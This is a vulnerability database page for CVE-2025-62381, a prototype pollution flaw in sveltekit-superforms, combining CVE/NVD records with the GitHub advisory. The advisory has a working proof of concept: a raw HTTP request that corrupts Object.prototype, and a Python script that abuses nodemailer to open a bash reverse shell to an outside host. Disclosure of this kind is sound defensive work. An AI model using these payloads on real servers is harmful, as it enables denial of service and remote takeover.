CVE-2025-62381 (GCVE-0-2025-62381)
Vulnerability from cvelistv5 – Published: 2025-10-15 17:12 – Updated: 2025-10-15 19:50
VLAI
EPSS
VEX
Title
sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`
Summary
sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-10-15 19:50 UTC
CWE
- CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/ciscoheat/sveltekit-superforms… | x_refsource_CONFIRM |
| https://github.com/ciscoheat/sveltekit-superforms… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| ciscoheat | sveltekit-superforms |
Affected:
< 2.27.4
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-62381",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-15T19:50:45.796015Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-10-15T19:50:48.901Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "sveltekit-superforms",
"vendor": "ciscoheat",
"versions": [
{
"status": "affected",
"version": "\u003c 2.27.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 8.3,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-10-15T17:12:47.357Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
},
{
"name": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
}
],
"source": {
"advisory": "GHSA-hwmc-4c8j-xxj7",
"discovery": "UNKNOWN"
},
"title": "sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-62381",
"datePublished": "2025-10-15T17:12:47.357Z",
"dateReserved": "2025-10-10T14:22:48.205Z",
"dateUpdated": "2025-10-15T19:50:48.901Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2025-62381",
"date": "2026-10-02",
"epss": "0.00553",
"percentile": "0.4424"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "sveltekit-superforms",
"vendor": "ciscoheat",
"versions": [
{
"status": "affected",
"version": "\u003c 2.27.4"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4."
}
],
"id": "CVE-2025-62381",
"lastModified": "2026-06-17T09:51:48.060",
"metrics": {
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.3,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2025-62381",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-15T19:50:45.796015Z",
"version": "2.0.3"
}
}
]
},
"published": "2025-10-15T18:15:40.230",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-1321"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"redhat_vex": {
"current_release_date": "2025-10-16T17:47:31+00:00",
"cve": "CVE-2025-62381",
"id": "CVE-2025-62381",
"initial_release_date": "2025-01-01T00:00:00+00:00",
"product_status:known_not_affected": "1",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-62381.json",
"version": "3"
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-62381",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-15T19:50:45.796015Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-10-15T19:50:39.595Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "sveltekit-superforms",
"vendor": "ciscoheat",
"versions": [
{
"status": "affected",
"version": "\u003c 2.27.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 8.3,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-10-15T17:12:47.357Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
},
{
"name": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
}
],
"source": {
"advisory": "GHSA-hwmc-4c8j-xxj7",
"discovery": "UNKNOWN"
},
"title": "sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2025-62381",
"datePublished": "2025-10-15T17:12:47.357Z",
"dateReserved": "2025-10-10T14:22:48.205Z",
"dateUpdated": "2025-10-15T19:50:48.901Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
}
}
FKIE_CVE-2025-62381
Vulnerability from fkie_nvd - Published: 2025-10-15 18:15 - Updated: 2026-06-17 09:51
Severity
Summary
sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.
References
Impacted products
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "sveltekit-superforms",
"vendor": "ciscoheat",
"versions": [
{
"status": "affected",
"version": "\u003c 2.27.4"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4."
}
],
"id": "CVE-2025-62381",
"lastModified": "2026-06-17T09:51:48.060",
"metrics": {
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.3,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2025-62381",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-15T19:50:45.796015Z",
"version": "2.0.3"
}
}
]
},
"published": "2025-10-15T18:15:40.230",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Deferred",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-1321"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-HWMC-4C8J-XXJ7
Vulnerability from github – Published: 2025-10-15 19:43 – Updated: 2025-10-15 19:43
VLAI
Summary
`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`
Details
Summary
sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.
Details
Superforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the superValidate function, with the submitted form data and a form schema as arguments:
// https://superforms.rocks/get-started#posting-data
const form = await superValidate(request, your_adapter(schema));
```
Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user's input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:
```js
// src/lib/formData.ts
if (formData.has('__superform_json')) {
try {
const transport =
options && options.transport
? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))
: undefined;
const output = parse(formData.getAll('__superform_json').join('') ?? '', transport);
if (typeof output === 'object') {
// Restore uploaded files and add to data
const filePaths = Array.from(formData.keys());
for (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {
const realPath = splitPath(path.substring(17));
setPaths(output, [realPath], formData.get(path));
}
for (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {
const realPath = splitPath(path.substring(18));
const allFiles = formData.getAll(path);
setPaths(output, [realPath], Array.from(allFiles));
}
return output as Record<string, unknown>;
}
} catch {
//
}
}
This snippet deserializes JSON input within the __superform_json, and then performs a nested assignment into the deserialized object using values from form parameters beginning with __superform_file_ and __superform_files_. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute Object.prototype.toString, which leads to a persistent denial of service in many applications:
POST /signup HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://example.com/signup
content-type: application/x-www-form-urlencoded
x-sveltekit-action: true
Content-Length: 70
Origin: http://example.com
Connection: keep-alive
Priority: u=0
Pragma: no-cache
Cache-Control: no-cache
__superform_json=[{}]&__superform_files___proto__.toString='corrupted'
PoC
The following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular nodemailer library (5 million weekly downloads from npm).
routes/signup/schema.ts:
import { z } from "zod/v4";
export const schema = z.object({
email: z
.email({
error: "Please enter a valid email address.",
})
.min(1, {
error: "Email address is required.",
}),
password: z.string().min(8, {
error: "Password must be at least 8 characters long.",
}),
});
routes/signup/+page.server.ts:
import { zod4 } from "sveltekit-superforms/adapters";
import { fail, setError, superValidate } from "sveltekit-superforms";
import { schema } from "./schema";
import nodemailer from "nodemailer";
import {
MAIL_USER,
MAIL_CLIENT_ID,
MAIL_CLIENT_SECRET,
MAIL_REFRESH_TOKEN,
} from "$env/static/private";
export const actions = {
default: async ({ request }) => {
const form = await superValidate(request, zod4(schema));
if (!form.valid) {
return fail(400, { form });
}
// <insert other signup code here: DB ops, logging etc..>
nodemailer
.createTransport({
service: "gmail",
auth: {
type: "OAuth2",
user: MAIL_USER,
clientId: MAIL_CLIENT_ID,
clientSecret: MAIL_CLIENT_SECRET,
refreshToken: MAIL_REFRESH_TOKEN,
},
})
.sendMail({
to: form.data.email,
subject: "Welcome to $app!",
html: "<p> Welcome to $app. We hope you enjoy your stay.</p>",
text: "Welcome to $app. We hope you enjoy your stay.",
});
},
};
The following Python script then pollutes the base object prototype in order to achieve RCE.
#!/usr/bin/env python3
import requests
RHOST = "http://localhost:4173"
session = requests.Session()
r = session.post(
f"{RHOST}/signup",
data={
"__superform_json": "[{}]",
"__superform_file___proto__.sendmail": "1",
"__superform_file___proto__.path": "/bin/bash",
"__superform_files___proto__.args": [
"-c",
"bash -i >& /dev/tcp/dread.mantel.group/443 0>&1",
"--",
],
},
headers={"Origin": RHOST},
)
r = session.post(
f"{RHOST}/signup",
data={"email": "me@example.com", "password": "usersignuppassword"},
headers={"Origin": RHOST},
)
In addition to nodemailer, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other popular libraries and runtimes, which can be used together with this vulnerability.
Impact
Attackers can inject string and array properties into Object.prototype. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.27.3"
},
"package": {
"ecosystem": "npm",
"name": "sveltekit-superforms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.27.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62381"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-15T19:43:09Z",
"nvd_published_at": "2025-10-15T18:15:40Z",
"severity": "HIGH"
},
"details": "### Summary\n`sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.\n\n### Details\nSuperforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments:\n```js\n// https://superforms.rocks/get-started#posting-data\nconst form = await superValidate(request, your_adapter(schema));\n ```\n Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user\u0027s input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:\n```js\n// src/lib/formData.ts\nif (formData.has(\u0027__superform_json\u0027)) {\n\ttry {\n\t\tconst transport =\n\t\t\toptions \u0026\u0026 options.transport\n\t\t\t\t? Object.fromEntries(Object.entries(options.transport).map(([k, v]) =\u003e [k, v.decode]))\n\t\t\t\t: undefined;\n\n\t\tconst output = parse(formData.getAll(\u0027__superform_json\u0027).join(\u0027\u0027) ?? \u0027\u0027, transport);\n\t\tif (typeof output === \u0027object\u0027) {\n\t\t\t// Restore uploaded files and add to data\n\t\t\tconst filePaths = Array.from(formData.keys());\n\n\t\t\tfor (const path of filePaths.filter((path) =\u003e path.startsWith(\u0027__superform_file_\u0027))) {\n\t\t\t\tconst realPath = splitPath(path.substring(17));\n\t\t\t\tsetPaths(output, [realPath], formData.get(path));\n\t\t\t}\n\n\t\t\tfor (const path of filePaths.filter((path) =\u003e path.startsWith(\u0027__superform_files_\u0027))) {\n\t\t\t\tconst realPath = splitPath(path.substring(18));\n\t\t\t\tconst allFiles = formData.getAll(path);\n\n\t\t\t\tsetPaths(output, [realPath], Array.from(allFiles));\n\t\t\t}\n\n\t\t\treturn output as Record\u003cstring, unknown\u003e;\n\t\t}\n\t} catch {\n\t\t//\n\t}\n }\n```\nThis snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications:\n```\nPOST /signup HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://example.com/signup\ncontent-type: application/x-www-form-urlencoded\nx-sveltekit-action: true\nContent-Length: 70\nOrigin: http://example.com\nConnection: keep-alive\nPriority: u=0\nPragma: no-cache\nCache-Control: no-cache\n\n__superform_json=[{}]\u0026__superform_files___proto__.toString=\u0027corrupted\u0027\n```\n### PoC\nThe following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm).\n\n`routes/signup/schema.ts`:\n```js\nimport { z } from \"zod/v4\";\n\nexport const schema = z.object({\n email: z\n .email({\n error: \"Please enter a valid email address.\",\n })\n .min(1, {\n error: \"Email address is required.\",\n }),\n password: z.string().min(8, {\n error: \"Password must be at least 8 characters long.\",\n }),\n});\n```\n`routes/signup/+page.server.ts`:\n```js\nimport { zod4 } from \"sveltekit-superforms/adapters\";\nimport { fail, setError, superValidate } from \"sveltekit-superforms\";\nimport { schema } from \"./schema\";\nimport nodemailer from \"nodemailer\";\nimport {\n MAIL_USER,\n MAIL_CLIENT_ID,\n MAIL_CLIENT_SECRET,\n MAIL_REFRESH_TOKEN,\n} from \"$env/static/private\";\n\nexport const actions = {\n default: async ({ request }) =\u003e {\n const form = await superValidate(request, zod4(schema));\n\n if (!form.valid) {\n return fail(400, { form });\n }\n\n // \u003cinsert other signup code here: DB ops, logging etc..\u003e\n\n nodemailer\n .createTransport({\n service: \"gmail\",\n auth: {\n type: \"OAuth2\",\n user: MAIL_USER,\n clientId: MAIL_CLIENT_ID,\n clientSecret: MAIL_CLIENT_SECRET,\n refreshToken: MAIL_REFRESH_TOKEN,\n },\n })\n .sendMail({\n to: form.data.email,\n subject: \"Welcome to $app!\",\n html: \"\u003cp\u003e Welcome to $app. We hope you enjoy your stay.\u003c/p\u003e\",\n text: \"Welcome to $app. We hope you enjoy your stay.\",\n });\n },\n};\n```\n\nThe following Python script then pollutes the base object prototype in order to achieve RCE.\n```python\n#!/usr/bin/env python3\n\nimport requests\n\nRHOST = \"http://localhost:4173\"\nsession = requests.Session()\n\nr = session.post(\n f\"{RHOST}/signup\",\n data={\n \"__superform_json\": \"[{}]\",\n \"__superform_file___proto__.sendmail\": \"1\",\n \"__superform_file___proto__.path\": \"/bin/bash\",\n \"__superform_files___proto__.args\": [\n \"-c\",\n \"bash -i \u003e\u0026 /dev/tcp/dread.mantel.group/443 0\u003e\u00261\",\n \"--\",\n ],\n },\n headers={\"Origin\": RHOST},\n)\n\nr = session.post(\n f\"{RHOST}/signup\",\n data={\"email\": \"me@example.com\", \"password\": \"usersignuppassword\"},\n headers={\"Origin\": RHOST},\n)\n```\n\u003cimg width=\"747\" height=\"173\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597\" /\u003e\n\nIn addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability.\n\n### Impact\nAttackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.",
"id": "GHSA-hwmc-4c8j-xxj7",
"modified": "2025-10-15T19:43:09Z",
"published": "2025-10-15T19:43:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62381"
},
{
"type": "WEB",
"url": "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
},
{
"type": "PACKAGE",
"url": "https://github.com/ciscoheat/sveltekit-superforms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…